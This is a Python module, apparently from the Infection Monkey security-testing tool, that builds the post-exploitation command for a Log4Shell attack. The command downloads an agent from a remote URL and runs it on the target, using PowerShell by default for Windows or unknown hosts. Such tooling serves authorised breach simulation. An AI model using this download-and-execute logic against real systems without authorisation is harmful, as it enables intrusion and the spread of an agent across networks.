from typing import Sequence

from common import OperatingSystem
from common.types import AgentID
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
from infection_monkey.i_puppet import TargetHost
from infection_monkey.model import DROPPER_ARG
from infection_monkey.utils.commands import (
    build_agent_deploy_command,
    build_download_command,
    build_monkey_commandline_parameters,
    build_run_command,
)


def build_log4shell_command(
    agent_id: AgentID,
    target_host: TargetHost,
    servers: Sequence[str],
    current_depth: int,
    agent_download_url: str,
    otp: str,
) -> str:
    monkey_path = get_agent_dst_path(target_host)
    monkey_args = build_monkey_commandline_parameters(
        parent=agent_id, servers=servers, depth=current_depth + 1, location=monkey_path
    )

    if target_host.operating_system in [
        OperatingSystem.WINDOWS,
        None,  # Based on a quick Shodan search, tomcat seems to be
        # the most popular service out of the three that we have,
        # and is mostly deployed on Windows.
        # If the target host's OS is unknown, default to Windows.
    ]:
        download_command = "powershell {}".format(
            build_download_command(target_host, agent_download_url, monkey_path)
        )
        run_command = build_run_command(target_host, otp, monkey_path, [DROPPER_ARG, *monkey_args])
        return " ; ".join([download_command, run_command])

    return build_agent_deploy_command(
        target_host, agent_download_url, otp, [DROPPER_ARG, *monkey_args]
    )
